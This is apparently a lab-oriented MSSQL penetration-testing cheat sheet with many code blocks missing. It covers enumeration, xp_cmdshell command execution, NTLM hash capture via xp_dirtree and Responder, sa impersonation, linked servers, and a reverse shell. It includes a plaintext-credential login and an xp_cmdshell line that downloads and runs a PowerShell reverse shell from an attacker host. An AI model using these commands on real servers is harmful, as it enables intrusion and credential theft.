What are the default databases?
master
: Keeps information for an instance of SQL server.
msdb
: Used by SQL Server Agent.
model
: Template used for other DBs.
resources
: Read-only. Keeps system objects visible in every DBs on the server in sys schema.
tempdb
: Keeps temporary objects for SQL queries.
Syntax
Show DBs:
Select DB:
Show tables:
Select all data from table users:
Enumeration
Bruteforce
Check whether creds found is valid on MSSQL:
“crackmapexec mssql manager.htb -u Desktop/user.txt -p Desktop/user.txt —no-brute —continue-on-success`
Interaction
Using impacket-mssqlclient, interact with the database:
mssqlclient.py reporting:'PcwTWTHRwryjc$c6'@10.10.10.125 -windows-auth
Below are example interaction:
Command Execution
xp_cmdshell
xp_cmdshell is disabled by default.
For example:
Try xp_cmdshell and xp_dirtree:
If they are not enabled, try enabling them:
there are other methods to get CME such as extended stored procedures, CLR Assemblies, SQL Server Agent Jobs, and external scripts.
Example CME
If there’s IIS running and xp_dirtree is enabled:
Write Local File
To write local file for CME, we need to have Ole Automation Procedures enabled (Needs Admin privilege).
How to enable:
Now that Ole Automation Procedures is enabled, let’s create a file:
Read Local Files
by default, MSSQL allows file read on any file in the OS to which account has read access.
How to read local files in MSSQL:
Capture MSSQL Service Hash
We can steal MSSQL Service account hash using xp_subdirs
or xp_dirtree
.
Above two uses SMB protocol to retrieve a list of child directories.
To make this happen, we first need Responder or impacket-smbserver set up and execute following SQL queries.
Using xp_dirtree
:
Using xp_subdirs
:
If the service account has access to the server, attacker will obtain its hash.
We can set up listening server as the following.
Set up responder:
Set up impacket:
User Impersonation
IMPERSONATE
allows attacker to execute commands with another user permission.
Let’s first identify users we can impersonate:
One liner:
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
To make sure, let’s verify if the current user got the sysadmin role. Since the output is 0, we don’t have the role:
Let’s use EXECUTE AS LOGIN
to impersonate sa
:
We have successfully impersonated the sa user. Also make sure we impersonate user in the master DB since all users by default have the access to that DB.
To revert the operation and to return to the previous user, we use REVERT
.
Even if the impersonated user is not sysadmin, still check for other DBs that user has.
Linked Server Interaction
MSSQL has a configuration option called linked servers.
Allows DB engine to communicate with other SQL server, or another DB product such as Oracle.
Administrators can configure linked server using credentials from the remote server. If the credentials have sysadmin privilege, we can execute commands in the remote SQL instance.
Let’s see if there’s linked servers. There is one remote server:
Now let’s identify the user used for the connection and its privilege. We can see that the user sa_remote is being used for connection and it is the sysadmin:
We can now execute commands as the sysadmin privilege on remote server.
Reverse Shell
First check the privilege by typing in help
:
Enable xp_cmdshell:
enable_xp_cmdshell
& RECONFIGURE
To spawn reverse shell, prepare nishang’s Invoke-PowerShellTcp.ps1 on your attacking directory and start python HTTP server.
Using the command below, download and execute reverse shell script toward your Kali listener:
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.17:8000/ps-rev.ps1") | powershell -noprofile'
Now on your local netcat listener, you have a shell:
Relay Attack
Follow this guide on Hacktricks.
First start Responder:
sudo responder -I tun0
Now on MSSQL connection, make a request to Kali’s responder:
xp_dirtree '\\10.10.14.17\home\yoon
Instantly, reponsder captures NTLM hash:
On Hacktricks, there’s more detailed guide on pentesting MSSQL.